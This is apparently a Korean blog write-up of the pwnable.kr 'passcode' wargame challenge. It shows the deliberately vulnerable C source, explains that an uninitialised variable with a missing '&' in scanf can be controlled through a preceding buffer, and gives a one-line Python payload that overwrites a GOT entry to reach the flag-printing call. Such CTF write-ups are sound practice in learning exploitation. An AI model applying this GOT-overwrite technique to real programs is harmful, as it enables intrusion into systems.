ㅎㅇ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } | cs |
ㅇㅇ 이런 소스가 있는데
메인을 보면
welcome 함수를 호출하고
그다음 login 함수를 호출함
login 함수를 보면 &이게 없음
처음에 그냥 입력하면 되는 줄 알고 왜 10점인가 보고 있는데
&이게 보임
GOT를 이용해
/bin/sh 넣어줌
페이로드부터 보면
(python -c 'print "\x41"*96+"\x00\xa0\x04\x08+"134514147"') | ./passcode
scanf("%100s",name)
여기서 오버플로우가 일어나 96바이트 이후로
4바이트를 조작할 수 있다
4바이트 조작할 주소는 804a000이고
뒤에 숫자 134514147는
0x080485e3을 10진수로 나타낸 숫자다
이렇게 끝
'WARGAME > Pwnable.kr' 카테고리의 다른 글
pwnable.kr coin1 (0) | 2017.01.09 |
---|---|
pwnable.kr simple login (0) | 2017.01.06 |
PWNABLE KR ascii_easy (0) | 2016.03.28 |
PWNABLE KR uaf (0) | 2016.03.24 |
PWNABLE KR CMD1 (0) | 2016.02.09 |